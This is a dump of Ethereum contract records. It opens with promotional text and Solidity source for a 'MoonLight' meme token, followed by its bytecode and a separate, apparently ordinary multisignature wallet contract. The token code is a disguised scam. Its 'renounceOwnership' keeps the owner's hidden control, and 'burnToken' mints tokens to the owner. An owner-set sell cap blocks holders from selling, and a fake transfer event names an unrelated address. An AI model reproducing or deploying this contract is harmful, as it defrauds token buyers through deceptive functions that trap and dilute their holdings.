████▓▓▓▓▓▓▓▓██▓▓████████████████████▓▓████▓▓▒▒▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ████▓▓▒▒▓▓▓▓▓▓████████████████████████████▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▓▓▒▒▓▓▓▓██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ████▓▓▒▒▒▒▓▓▓▓██████████████████████████████▓▓▓▓▓▓████▓▓▓▓▒▒▒▒▓▓▓▓▓▓████▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ██████▓▓▒▒▓▓██████████████████████████████████▓▓▓▓██▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ██████▓▓▓▓▓▓██████████████████████████████▓▓████▓▓▓▓▒▒▒▒▒▒▓▓██▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ████████▓▓████████████████████████████████████▓▓▓▓▓▓▒▒▓▓▓▓▓▓████████▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ██████████████████████████████████████████████████▓▓▓▓▓▓████████████▓▓▓▓▓▓▓▓▒▒▓▓▓▓██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ████████████████▓▓██████████████████████████████▓▓▓▓▓▓██████████████▓▓▓▓▒▒▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ████████████████▓▓████████████████████████████████▓▓████████████████▓▓████▓▓██▓▓▓▓▓▓▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ██████████████████████████████████████████████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ██████████████████████████████████████████████████████████████████████████▓▓▓▓▓▓▓▓▓▓████▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒ ██████████████████████████████████████████████████████████████████████████▓▓▓▓▓▓██████▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓████▒▒▒▒▓▓▒▒▒▒▒▒ ████████████████████████████████████████████████████████████████████████████▓▓████▓▓▓▓▓▓██████████▒▒▒▒▒▒▓▓████▒▒▓▓██▒▒▒▒▒▒▒▒▒▒▒▒██▓▓████▓▓██▓▓▒▒▒▒▒▒ The revolutionary MEME token with UTILITY on the Ethereum network! 🛠 We currently offer the following services; 📈 DexTools Promoted Alerts - get notified via SMS/e-mail/through our iOS/Android app whenever a new token hits trending on DexTools! 🐋 Whale Smart Tracker - follow a whale's wallet via our smart tracker! ❓ What's in development? In progress are limit orders on the Uniswap network, similar to Bogged's limit orders on PancakeSwap. @MoonlightEnterprises */ pragma solidity ^0.6.7; // SPDX-License-Identifier: MIT library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract MoonLight is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 100 * 10**18; uint256 private rTotal = 100 * 10**18; string private _name = 'MoonLight Financial Token | moonLight.Enterprises'; string private _symbol = '~moonLight'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function burnPercent(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function burnToken(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104ae578063c5398cfd146104e2578063dd62ed3e14610510578063f2fde38b1461058857610100565b80637b47ec1a1461035557806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e5780636aae83f3146102af57806370a08231146102f3578063715018a61461034b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102f1600480360360208110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061076c565b005b6103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610878565b6040518082815260200191505060405180910390f35b6103536108c1565b005b6103816004803603602081101561036b57600080fd5b8101908080359060200190929190505050610a48565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61050e600480360360208110156104f857600080fd5b8101908080359060200190929190505050610e71565b005b6105726004803603604081101561052657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4d565b6040518082815260200191505060405180910390f35b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600954905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108c96111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a506111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b306111df565b73ffffffffffffffffffffffffffffffffffffffff161415610b5157600080fd5b610b668160095461165790919063ffffffff16565b600981905550610bc58160056000610b7c6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b60056000610bd16111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c176111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e796111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122017786d7a3c24f508b012c14c05a7b86b02f5ce5a1668235a2ab4ad111e2e4c5864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,977
0x5135815b39806be487b153f927aa27ed507bd937
pragma solidity ^0.4.23; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3546415053545b1b52505a47525075565a5b46505b464c461b5b5041">[email&#160;protected]</a>> /// modified by Juwita Winadwiastuti - <juwita.winadwiastuti[at]hara.ag> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bool executed; } /* * Modifiers */ modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. constructor() public { owners = [msg.sender]; isOwner[msg.sender] = true; required = 1; } /// @dev Allows to add a new owner. Transaction has to be sent by owner. /// @param owner Address of new owner. function addOwner(address owner) public ownerExists(msg.sender) ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); uint halfOwner = uint(owners.length)/2; changeRequirement(halfOwner + 1); } /// @dev Allows to remove an owner. Transaction has to be sent by owner. /// @param owner Address of owner. function removeOwner(address owner) public ownerExists(owner) ownerExists(msg.sender) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; uint halfOwner = uint(owners.length)/2; changeRequirement(halfOwner + 1); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by owner. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public ownerExists(msg.sender) ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by owner. /// @param _required Number of required confirmations. function changeRequirement(uint _required) private ownerExists(msg.sender) validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a withdraw transaction. /// @param destination Withdraw destination address. /// @param value Number of ether to withdraw. /// @return Returns transaction ID. function submitWithdrawTransaction(address destination, uint value) public ownerExists(msg.sender) returns (uint transactionId) { transactionId = addTransaction(destination, value); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (withdraw(txn.destination, txn.value)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev FUnction to send ether to address. /// @param destination Address destination to send ether. /// @param value Amount of ether to send. /// @return Confirmation status. function withdraw(address destination, uint value) ownerExists(msg.sender) private returns (bool) { destination.transfer(value); return true; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @return Returns transaction ID. function addTransaction(address destination, uint value) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
